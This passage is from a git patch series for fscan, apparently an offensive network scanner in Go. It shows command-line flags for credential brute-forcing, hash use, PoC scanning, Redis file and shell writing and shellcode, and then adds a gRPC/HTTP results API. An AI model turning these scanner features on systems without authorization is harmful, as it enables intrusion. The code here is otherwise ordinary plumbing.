"", GetText("flag_exclude_hosts")) + fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) + fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) + fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) + + fs.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode")) + fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) + fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) + fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) + fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) + fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) + fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) + fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) + fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) + fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) + + fs.StringVar(&Username, "user", "", GetText("flag_username")) + fs.StringVar(&Password, "pwd", "", GetText("flag_password")) + fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users")) + fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords")) + fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file")) + fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file")) + fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file")) + fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value")) + fs.StringVar(&Domain, "domain", "", GetText("flag_domain")) + fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) + + fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url")) + fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file")) + fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie")) + fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout")) + fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy")) + fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy")) + + fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path")) + fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name")) + fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full")) + fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log")) + fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num")) + fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_nopoc")) + + fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file")) + fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell")) + fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis")) + fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path")) + fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content")) + fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file")) + + fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute")) + fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries")) + + fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file")) + fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format")) + fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save")) + fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode")) + fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color")) + fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level")) + fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress")) + fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan")) + fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output")) + + fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) + fs.StringVar(&Language, "lang", "zh", GetText("flag_language")) + + // 开始解析远程传入的参数 if err := fs.Parse(args); err != nil { - return fmt.Errorf("参数解析失败: %v", err) + return fmt.Errorf("远程参数解析失败: %v", err) } + return nil } +// parseCommandLineArgs 处理来自环境变量和命令行的参数 func parseCommandLineArgs() { + // 首先检查环境变量中的参数 envArgsString := os.Getenv("FS_ARGS") if envArgsString != "" { + // 解析环境变量参数 (跨平台支持) envArgs, err := parseEnvironmentArgs(envArgsString) if err == nil && len(envArgs) > 0 { flag.CommandLine.Parse(envArgs) - os.Unsetenv("FS_ARGS") + os.Unsetenv("FS_ARGS") // 使用后清除环境变量 return } + // 如果环境变量解析失败,继续使用命令行参数 } + + // 解析命令行参数 flag.Parse() } +// parseEnvironmentArgs 安全地解析环境变量中的参数 func parseEnvironmentArgs(argsString string) ([]string, error) { if strings.TrimSpace(argsString) == "" { return nil, fmt.Errorf("empty arguments string") } + + // 使用更安全的参数分割方法 var args []string var currentArg strings.Builder inQuote := false quoteChar := ' ' + for _, char := range argsString { switch { case char == '"' || char == '\'': @@ -325,8 +299,10 @@ func parseEnvironmentArgs(argsString string) ([]string, error) { currentArg.WriteRune(char) } } + if currentArg.Len() > 0 { args = append(args, currentArg.String()) } + return args, nil } From c074adb3a96bec2cf8aed345cc4d06eb9870e552 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Tue, 22 Apr 2025 12:36:10 +0800 Subject: [PATCH 08/12] =?UTF-8?q?feat:=20=E5=A2=9E=E5=BC=BA=20gRPC=20?= =?UTF-8?q?=E5=92=8C=20HTTP=20=E7=BD=91=E5=85=B3=E6=9C=8D=E5=8A=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + Common/Output.go | 72 +++++++ RPC/buf.gen.yaml | 13 ++ RPC/buf.lock | 8 + RPC/buf.yaml | 3 + RPC/lib/{fscan.pb.go => rpc.pb.go} | 209 ++++++++++++------- RPC/lib/{fscan.pb.gw.go => rpc.pb.gw.go} | 62 +----- RPC/lib/rpc.proto | 25 ++- RPC/lib/{fscan_grpc.pb.go => rpc_grpc.pb.go} | 54 +---- RPC/server.go | 23 +- RPC/service/fscan.go | 94 ++++----- 11 files changed, 314 insertions(+), 250 deletions(-) create mode 100644 RPC/buf.gen.yaml create mode 100644 RPC/buf.lock create mode 100644 RPC/buf.yaml rename RPC/lib/{fscan.pb.go => rpc.pb.go} (61%) rename RPC/lib/{fscan.pb.gw.go => rpc.pb.gw.go} (75%) rename RPC/lib/{fscan_grpc.pb.go => rpc_grpc.pb.go} (71%) diff --git a/.gitignore b/.gitignore index 4c6aeee..937e9e1 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ main fscan.exe fscan makefile +fscanapi.csv diff --git a/Common/Output.go b/Common/Output.go index b20dda5..f5cf206 100644 --- a/Common/Output.go +++ b/Common/Output.go @@ -67,6 +67,11 @@ func InitOutput() error { return fmt.Errorf(GetText("output_create_dir_failed", err)) } + if ApiAddr != "" { + OutputFormat = "csv" + Outputfile = filepath.Join(dir, "fscanapi.csv") + } + manager := &OutputManager{ outputPath: Outputfile, outputFormat: OutputFormat, @@ -135,6 +140,17 @@ func SaveResult(result *ScanResult) error { LogDebug(GetText("output_saving_result", result.Type, result.Target)) return ResultOutput.saveResult(result) } +func GetResults() ([]*ScanResult, error) { + if ResultOutput == nil { + return nil, fmt.Errorf(GetText("output_not_init")) + } + + if ResultOutput.outputFormat == "csv" { + return ResultOutput.getResult() + } + // 其他格式尚未实现读取支持 + return nil, fmt.Errorf(GetText("output_format_read_not_supported")) +} func (om *OutputManager) saveResult(result *ScanResult) error { om.mu.Lock() @@ -165,6 +181,62 @@ func (om *OutputManager) saveResult(result *ScanResult) error { } return err } +func (om *OutputManager) getResult() ([]*ScanResult, error) { + om.mu.Lock() + defer om.mu.Unlock() + + if !om.isInitialized { + LogDebug(GetText("output_not_init")) + return nil, fmt.Errorf(GetText("output_not_init")) + } + + file, err := os.Open(om.outputPath) + if err != nil { + LogDebug(GetText("output_open_file_failed", err)) + return nil, err + } + defer file.Close() + + reader := csv.NewReader(file) + records, err := reader.ReadAll() + if err != nil { + LogDebug(GetText("output_read_csv_failed", err)) + return nil, err + } + + var results []*ScanResult + for i, row := range records { + // 跳过 CSV 头部 + if i == 0 { + continue + } + if len(row) < 5 { + continue // 数据不完整 + } + + t, err := time.Parse("2006-01-02 15:04:05", row[0]) + if err != nil { + continue + } + + var details map[string]interface{} + if err := json.Unmarshal([]byte(row[4]), &details); err != nil { + details = make(map[string]interface{}) + } + + result := &ScanResult{ + Time: t, + Type: ResultType(row[1]), + Target: row[2], + Status: row[3], + Details: details, + } + results = append(results, result) + } + + LogDebug(GetText("output_read_csv_success", len(results))) + return results, nil +} func (om *OutputManager) writeTxt(result *ScanResult) error { // 格式化 Details 为键值对字符串 diff --git a/RPC/buf.gen.yaml b/RPC/buf.gen.yaml new file mode 100644 index 0000000..f40d639 --- /dev/null +++ b/RPC/buf.gen.yaml @@ -0,0 +1,13 @@ +version: v1 +plugins: + - plugin: go + out: lib + opt: paths=import + + - plugin: go-grpc + out: lib + opt: paths=import + + - plugin: grpc-gateway + out: lib + opt: paths=import diff --git a/RPC/buf.lock b/RPC/buf.lock new file mode 100644 index 0000000..2ca2765 --- /dev/null +++ b/RPC/buf.lock @@ -0,0 +1,8 @@ +# Generated by buf. DO NOT EDIT. +version: v1 +deps: + - remote: buf.build + owner: googleapis + repository: googleapis + commit: 61b203b9a9164be9a834f58c37be6f62 + digest: shake256:e619113001d6e284ee8a92b1561e5d4ea89a47b28bf0410815cb2fa23914df8be9f1a6a98dcf069f5bc2d829a2cfb1ac614863be45cd4f8a5ad8606c5f200224 diff --git a/RPC/buf.yaml b/RPC/buf.yaml new file mode 100644 index 0000000..87f59f8 --- /dev/null +++ b/RPC/buf.yaml @@ -0,0 +1,3 @@ +version: v1 +deps: + - buf.build/googleapis/googleapis diff --git a/RPC/lib/fscan.pb.go b/RPC/lib/rpc.pb.go similarity index 61% rename from RPC/lib/fscan.pb.go rename to RPC/lib/rpc.pb.go index 53917df..ddc7bc1 100644 --- a/RPC/lib/fscan.pb.go +++ b/RPC/lib/rpc.pb.go @@ -2,7 +2,7 @@ // versions: // protoc-gen-go v1.36.6 // protoc (unknown) -// source: proto/fscan.proto +// source: lib/rpc.proto package lib @@ -10,6 +10,7 @@ import ( _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" unsafe "unsafe" @@ -33,7 +34,7 @@ type StartScanRequest struct { func (x *StartScanRequest) Reset() { *x = StartScanRequest{} - mi := &file_proto_fscan_proto_msgTypes[0] + mi := &file_lib_rpc_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -45,7 +46,7 @@ func (x *StartScanRequest) String() string { func (*StartScanRequest) ProtoMessage() {} func (x *StartScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_proto_fscan_proto_msgTypes[0] + mi := &file_lib_rpc_proto_msgTypes[0] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -58,7 +59,7 @@ func (x *StartScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use StartScanRequest.ProtoReflect.Descriptor instead. func (*StartScanRequest) Descriptor() ([]byte, []int) { - return file_proto_fscan_proto_rawDescGZIP(), []int{0} + return file_lib_rpc_proto_rawDescGZIP(), []int{0} } func (x *StartScanRequest) GetSecret() string { @@ -86,7 +87,7 @@ type StartScanResponse struct { func (x *StartScanResponse) Reset() { *x = StartScanResponse{} - mi := &file_proto_fscan_proto_msgTypes[1] + mi := &file_lib_rpc_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -98,7 +99,7 @@ func (x *StartScanResponse) String() string { func (*StartScanResponse) ProtoMessage() {} func (x *StartScanResponse) ProtoReflect() protoreflect.Message { - mi := &file_proto_fscan_proto_msgTypes[1] + mi := &file_lib_rpc_proto_msgTypes[1] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -111,7 +112,7 @@ func (x *StartScanResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use StartScanResponse.ProtoReflect.Descriptor instead. func (*StartScanResponse) Descriptor() ([]byte, []int) { - return file_proto_fscan_proto_rawDescGZIP(), []int{1} + return file_lib_rpc_proto_rawDescGZIP(), []int{1} } func (x *StartScanResponse) GetTaskId() string { @@ -131,15 +132,15 @@ func (x *StartScanResponse) GetMessage() string { // 获取扫描结果的请求 type TaskResultsRequest struct { state protoimpl.MessageState `protogen:"open.v1"` - TaskId string `protobuf:"bytes,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - Offset uint32 `protobuf:"varint,2,opt,name=offset,proto3" json:"offset,omitempty"` + Secret string `protobuf:"bytes,1,opt,name=secret,proto3" json:"secret,omitempty"` // 用于身份校验 + Filter *Filter `protobuf:"bytes,2,opt,name=filter,proto3" json:"filter,omitempty"` // 筛选条件(如关键字、状态等) unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *TaskResultsRequest) Reset() { *x = TaskResultsRequest{} - mi := &file_proto_fscan_proto_msgTypes[2] + mi := &file_lib_rpc_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -151,7 +152,7 @@ func (x *TaskResultsRequest) String() string { func (*TaskResultsRequest) ProtoMessage() {} func (x *TaskResultsRequest) ProtoReflect() protoreflect.Message { - mi := &file_proto_fscan_proto_msgTypes[2] + mi := &file_lib_rpc_proto_msgTypes[2] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -164,21 +165,81 @@ func (x *TaskResultsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TaskResultsRequest.ProtoReflect.Descriptor instead. func (*TaskResultsRequest) Descriptor() ([]byte, []int) { - return file_proto_fscan_proto_rawDescGZIP(), []int{2} + return file_lib_rpc_proto_rawDescGZIP(), []int{2} } -func (x *TaskResultsRequest) GetTaskId() string { +func (x *TaskResultsRequest) GetSecret() string { + if x != nil { + return x.Secret + } + return "" +} + +func (x *TaskResultsRequest) GetFilter() *Filter { + if x != nil { + return x.Filter + } + return nil +} + +type Filter struct { + state protoimpl.MessageState `protogen:"open.v1"` + TaskId string `protobuf:"bytes,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` // 任务ID + StartTime string `protobuf:"bytes,2,opt,name=Start_time,json=StartTime,proto3" json:"Start_time,omitempty"` // 开始时间 + EndTime string `protobuf:"bytes,3,opt,name=End_time,json=EndTime,proto3" json:"End_time,omitempty"` // 结束时间 + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *Filter) Reset() { + *x = Filter{} + mi := &file_lib_rpc_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *Filter) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Filter) ProtoMessage() {} + +func (x *Filter) ProtoReflect() protoreflect.Message { + mi := &file_lib_rpc_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Filter.ProtoReflect.Descriptor instead. +func (*Filter) Descriptor() ([]byte, []int) { + return file_lib_rpc_proto_rawDescGZIP(), []int{3} +} + +func (x *Filter) GetTaskId() string { if x != nil { return x.TaskId } return "" } -func (x *TaskResultsRequest) GetOffset() uint32 { +func (x *Filter) GetStartTime() string { if x != nil { - return x.Offset + return x.StartTime } - return 0 + return "" +} + +func (x *Filter) GetEndTime() string { + if x != nil { + return x.EndTime + } + return "" } // 获取扫描结果的响应 @@ -193,7 +254,7 @@ type TaskResultsResponse struct { func (x *TaskResultsResponse) Reset() { *x = TaskResultsResponse{} - mi := &file_proto_fscan_proto_msgTypes[3] + mi := &file_lib_rpc_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -205,7 +266,7 @@ func (x *TaskResultsResponse) String() string { func (*TaskResultsResponse) ProtoMessage() {} func (x *TaskResultsResponse) ProtoReflect() protoreflect.Message { - mi := &file_proto_fscan_proto_msgTypes[3] + mi := &file_lib_rpc_proto_msgTypes[4] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -218,7 +279,7 @@ func (x *TaskResultsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use TaskResultsResponse.ProtoReflect.Descriptor instead. func (*TaskResultsResponse) Descriptor() ([]byte, []int) { - return file_proto_fscan_proto_rawDescGZIP(), []int{3} + return file_lib_rpc_proto_rawDescGZIP(), []int{4} } func (x *TaskResultsResponse) GetTaskId() string { @@ -249,14 +310,14 @@ type ScanResult struct { Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` Target string `protobuf:"bytes,3,opt,name=target,proto3" json:"target,omitempty"` Status string `protobuf:"bytes,4,opt,name=status,proto3" json:"status,omitempty"` - DetailsJson string `protobuf:"bytes,5,opt,name=details_json,json=detailsJson,proto3" json:"details_json,omitempty"` + DetailsJson *structpb.Struct `protobuf:"bytes,5,opt,name=details_json,json=detailsJson,proto3" json:"details_json,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *ScanResult) Reset() { *x = ScanResult{} - mi := &file_proto_fscan_proto_msgTypes[4] + mi := &file_lib_rpc_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -268,7 +329,7 @@ func (x *ScanResult) String() string { func (*ScanResult) ProtoMessage() {} func (x *ScanResult) ProtoReflect() protoreflect.Message { - mi := &file_proto_fscan_proto_msgTypes[4] + mi := &file_lib_rpc_proto_msgTypes[5] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -281,7 +342,7 @@ func (x *ScanResult) ProtoReflect() protoreflect.Message { // Deprecated: Use ScanResult.ProtoReflect.Descriptor instead. func (*ScanResult) Descriptor() ([]byte, []int) { - return file_proto_fscan_proto_rawDescGZIP(), []int{4} + return file_lib_rpc_proto_rawDescGZIP(), []int{5} } func (x *ScanResult) GetTime() string { @@ -312,98 +373,104 @@ func (x *ScanResult) GetStatus() string { return "" } -func (x *ScanResult) GetDetailsJson() string { +func (x *ScanResult) GetDetailsJson() *structpb.Struct { if x != nil { return x.DetailsJson } - return "" + return nil } -var File_proto_fscan_proto protoreflect.FileDescriptor +var File_lib_rpc_proto protoreflect.FileDescriptor -const file_proto_fscan_proto_rawDesc = "" + +const file_lib_rpc_proto_rawDesc = "" + "\n" + - "\x11proto/fscan.proto\x12\x03lib\x1a\x1cgoogle/api/annotations.proto\"<\n" + + "\rlib/rpc.proto\x12\x03lib\x1a\x1cgoogle/api/annotations.proto\x1a\x1cgoogle/protobuf/struct.proto\"<\n" + "\x10StartScanRequest\x12\x16\n" + "\x06secret\x18\x01 \x01(\tR\x06secret\x12\x10\n" + "\x03arg\x18\x02 \x01(\tR\x03arg\"F\n" + "\x11StartScanResponse\x12\x17\n" + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x18\n" + - "\amessage\x18\x02 \x01(\tR\amessage\"E\n" + - "\x12TaskResultsRequest\x12\x17\n" + - "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x16\n" + - "\x06offset\x18\x02 \x01(\rR\x06offset\"u\n" + + "\amessage\x18\x02 \x01(\tR\amessage\"Q\n" + + "\x12TaskResultsRequest\x12\x16\n" + + "\x06secret\x18\x01 \x01(\tR\x06secret\x12#\n" + + "\x06filter\x18\x02 \x01(\v2\v.lib.FilterR\x06filter\"[\n" + + "\x06Filter\x12\x17\n" + + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x1d\n" + + "\n" + + "Start_time\x18\x02 \x01(\tR\tStartTime\x12\x19\n" + + "\bEnd_time\x18\x03 \x01(\tR\aEndTime\"u\n" + "\x13TaskResultsResponse\x12\x17\n" + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12)\n" + "\aresults\x18\x02 \x03(\v2\x0f.lib.ScanResultR\aresults\x12\x1a\n" + - "\bfinished\x18\x03 \x01(\bR\bfinished\"\x87\x01\n" + + "\bfinished\x18\x03 \x01(\bR\bfinished\"\xa0\x01\n" + "\n" + "ScanResult\x12\x12\n" + "\x04time\x18\x01 \x01(\tR\x04time\x12\x12\n" + "\x04type\x18\x02 \x01(\tR\x04type\x12\x16\n" + "\x06target\x18\x03 \x01(\tR\x06target\x12\x16\n" + - "\x06status\x18\x04 \x01(\tR\x06status\x12!\n" + - "\fdetails_json\x18\x05 \x01(\tR\vdetailsJson2\xa0\x02\n" + + "\x06status\x18\x04 \x01(\tR\x06status\x12:\n" + + "\fdetails_json\x18\x05 \x01(\v2\x17.google.protobuf.StructR\vdetailsJson2\xc4\x01\n" + "\fFscanService\x12T\n" + "\tStartScan\x12\x15.lib.StartScanRequest\x1a\x16.lib.StartScanResponse\"\x18\x82\xd3\xe4\x93\x02\x12:\x01*\"\r/v1/startscan\x12^\n" + - "\x0eGetScanResults\x12\x17.lib.TaskResultsRequest\x1a\x18.lib.TaskResultsResponse\"\x19\x82\xd3\xe4\x93\x02\x13:\x01*\"\x0e/v1/getresults\x12Z\n" + - "\x11StreamScanResults\x12\x17.lib.TaskResultsRequest\x1a\x0f.lib.ScanResult\"\x19\x82\xd3\xe4\x93\x02\x13\x12\x11/v1/streamresults0\x01B\x1eZ\x1cgithub.com/shadow1ng/RPC;libb\x06proto3" + "\x0eGetScanResults\x12\x17.lib.TaskResultsRequest\x1a\x18.lib.TaskResultsResponse\"\x19\x82\xd3\xe4\x93\x02\x13:\x01*\"\x0e/v1/getresultsB\bZ\x06./;libb\x06proto3" var ( - file_proto_fscan_proto_rawDescOnce sync.Once - file_proto_fscan_proto_rawDescData []byte + file_lib_rpc_proto_rawDescOnce sync.Once + file_lib_rpc_proto_rawDescData []byte ) -func file_proto_fscan_proto_rawDescGZIP() []byte { - file_proto_fscan_proto_rawDescOnce.Do(func() { - file_proto_fscan_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_proto_fscan_proto_rawDesc), len(file_proto_fscan_proto_rawDesc))) +func file_lib_rpc_proto_rawDescGZIP() []byte { + file_lib_rpc_proto_rawDescOnce.Do(func() { + file_lib_rpc_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_lib_rpc_proto_rawDesc), len(file_lib_rpc_proto_rawDesc))) }) - return file_proto_fscan_proto_rawDescData + return file_lib_rpc_proto_rawDescData } -var file_proto_fscan_proto_msgTypes = make([]protoimpl.MessageInfo, 5) -var file_proto_fscan_proto_goTypes = []any{ +var file_lib_rpc_proto_msgTypes = make([]protoimpl.MessageInfo, 6) +var file_lib_rpc_proto_goTypes = []any{ (*StartScanRequest)(nil), // 0: lib.StartScanRequest (*StartScanResponse)(nil), // 1: lib.StartScanResponse (*TaskResultsRequest)(nil), // 2: lib.TaskResultsRequest - (*TaskResultsResponse)(nil), // 3: lib.TaskResultsResponse - (*ScanResult)(nil), // 4: lib.ScanResult + (*Filter)(nil), // 3: lib.Filter + (*TaskResultsResponse)(nil), // 4: lib.TaskResultsResponse + (*ScanResult)(nil), // 5: lib.ScanResult + (*structpb.Struct)(nil), // 6: google.protobuf.Struct } -var file_proto_fscan_proto_depIdxs = []int32{ - 4, // 0: lib.TaskResultsResponse.results:type_name -> lib.ScanResult - 0, // 1: lib.FscanService.StartScan:input_type -> lib.StartScanRequest - 2, // 2: lib.FscanService.GetScanResults:input_type -> lib.TaskResultsRequest - 2, // 3: lib.FscanService.StreamScanResults:input_type -> lib.TaskResultsRequest - 1, // 4: lib.FscanService.StartScan:output_type -> lib.StartScanResponse - 3, // 5: lib.FscanService.GetScanResults:output_type -> lib.TaskResultsResponse - 4, // 6: lib.FscanService.StreamScanResults:output_type -> lib.ScanResult - 4, // [4:7] is the sub-list for method output_type - 1, // [1:4] is the sub-list for method input_type - 1, // [1:1] is the sub-list for extension type_name - 1, // [1:1] is the sub-list for extension extendee - 0, // [0:1] is the sub-list for field type_name +var file_lib_rpc_proto_depIdxs = []int32{ + 3, // 0: lib.TaskResultsRequest.filter:type_name -> lib.Filter + 5, // 1: lib.TaskResultsResponse.results:type_name -> lib.ScanResult + 6, // 2: lib.ScanResult.details_json:type_name -> google.protobuf.Struct + 0, // 3: lib.FscanService.StartScan:input_type -> lib.StartScanRequest + 2, // 4: lib.FscanService.GetScanResults:input_type -> lib.TaskResultsRequest + 1, // 5: lib.FscanService.StartScan:output_type -> lib.StartScanResponse + 4, // 6: lib.FscanService.GetScanResults:output_type -> lib.TaskResultsResponse + 5, // [5:7] is the sub-list for method output_type + 3, // [3:5] is the sub-list for method input_type + 3, // [3:3] is the sub-list for extension type_name + 3, // [3:3] is the sub-list for extension extendee + 0, // [0:3] is the sub-list for field type_name } -func init() { file_proto_fscan_proto_init() } -func file_proto_fscan_proto_init() { - if File_proto_fscan_proto != nil { +func init() { file_lib_rpc_proto_init() } +func file_lib_rpc_proto_init() { + if File_lib_rpc_proto != nil { return } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: unsafe.Slice(unsafe.StringData(file_proto_fscan_proto_rawDesc), len(file_proto_fscan_proto_rawDesc)), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_lib_rpc_proto_rawDesc), len(file_lib_rpc_proto_rawDesc)), NumEnums: 0, - NumMessages: 5, + NumMessages: 6, NumExtensions: 0, NumServices: 1, }, - GoTypes: file_proto_fscan_proto_goTypes, - DependencyIndexes: file_proto_fscan_proto_depIdxs, - MessageInfos: file_proto_fscan_proto_msgTypes, + GoTypes: file_lib_rpc_proto_goTypes, + DependencyIndexes: file_lib_rpc_proto_depIdxs, + MessageInfos: file_lib_rpc_proto_msgTypes, }.Build() - File_proto_fscan_proto = out.File - file_proto_fscan_proto_goTypes = nil - file_proto_fscan_proto_depIdxs = nil + File_lib_rpc_proto = out.File + file_lib_rpc_proto_goTypes = nil + file_lib_rpc_proto_depIdxs = nil } diff --git a/RPC/lib/fscan.pb.gw.go b/RPC/lib/rpc.pb.gw.go similarity index 75% rename from RPC/lib/fscan.pb.gw.go rename to RPC/lib/rpc.pb.gw.go index 5d64ea4..5389a96 100644 --- a/RPC/lib/fscan.pb.gw.go +++ b/RPC/lib/rpc.pb.gw.go @@ -1,5 +1,5 @@ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. -// source: proto/fscan.proto +// source: lib/rpc.proto /* Package lib is a reverse proxy. @@ -83,32 +83,6 @@ func local_request_FscanService_GetScanResults_0(ctx context.Context, marshaler return msg, metadata, err } -var filter_FscanService_StreamScanResults_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} - -func request_FscanService_StreamScanResults_0(ctx context.Context, marshaler runtime.Marshaler, client FscanServiceClient, req *http.Request, pathParams map[string]string) (FscanService_StreamScanResultsClient, runtime.ServerMetadata, error) { - var ( - protoReq TaskResultsRequest - metadata runtime.ServerMetadata - ) - io.Copy(io.Discard, req.Body) - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_FscanService_StreamScanResults_0); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - stream, err := client.StreamScanResults(ctx, &protoReq) - if err != nil { - return nil, metadata, err - } - header, err := stream.Header() - if err != nil { - return nil, metadata, err - } - metadata.HeaderMD = header - return stream, metadata, nil -} - // RegisterFscanServiceHandlerServer registers the http handlers for service FscanService to "mux". // UnaryRPC :call FscanServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -156,13 +130,6 @@ func RegisterFscanServiceHandlerServer(ctx context.Context, mux *runtime.ServeMu forward_FscanService_GetScanResults_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle(http.MethodGet, pattern_FscanService_StreamScanResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - err := status.Error(codes.Unimplemented, "streaming calls are not yet supported in the in-process transport") - _, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - }) - return nil } @@ -236,34 +203,15 @@ func RegisterFscanServiceHandlerClient(ctx context.Context, mux *runtime.ServeMu } forward_FscanService_GetScanResults_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle(http.MethodGet, pattern_FscanService_StreamScanResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - annotatedContext, err := runtime.AnnotateContext(ctx, mux, req, "/lib.FscanService/StreamScanResults", 